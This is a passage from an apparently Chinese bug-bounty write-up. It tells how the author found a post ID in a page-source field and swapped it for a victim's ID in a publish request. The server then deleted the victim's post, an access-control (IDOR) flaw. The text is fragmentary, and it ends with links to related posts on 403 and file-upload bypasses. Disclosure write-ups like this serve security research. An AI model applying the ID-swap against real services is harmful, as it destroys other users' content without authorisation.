于是，我记下了那篇给我带来灵感的文章的 ID，发布了这篇文章，打开了该文章的页面，并查看了源代码。我搜索了自己的文章 ID，想看看它是否被硬编码了，出乎意料的是，我发现它就在一个名为 Dynamic-page-id
|
||||
.
|
||||
|
||||
我在 /example/api_path/publish请求中，将我的帖子 ID 替换成了受害者的 ID，出乎意料的是，服务器接受了该请求并删除了受害者的帖子。我提交了报告，并获得了我的 Bountyyy！
|
||||
|
||||
|
||||
|
||||
|
||||
觉得本文内容对您有启发或帮助？
|
||||
|
||||
点个**关注➕**
|
||||
，获取更多深度分析与前沿资讯！
|
||||
|
||||
|
||||
👉 往期精选
|
||||
|
||||
[逻辑漏洞：邮箱注册 tips #11](https://mp.weixin.qq.com/s?__biz=MzkxNjc0ODA3NQ==&mid=2247485053&idx=1&sn=518c8e66c4b2fdf4eb7a0c57c8a28005&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[非常用403绕过 Tips](https://mp.weixin.qq.com/s?__biz=MzkxNjc0ODA3NQ==&mid=2247485249&idx=1&sn=42308de5857f3dd4f4d1414e94169dab&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Android IPC 漏洞利用系列](https://mp.weixin.qq.com/s?__biz=MzkxNjc0ODA3NQ==&mid=2247485391&idx=1&sn=5092c4204d9910fa5b514d8dba7bb3b5&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[新技术绕过文件上传](https://mp.weixin.qq.com/s?__biz=MzkxNjc0ODA3NQ==&mid=2247485346&idx=1&sn=c35a5732cb610a100e608d249c56fd3b&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user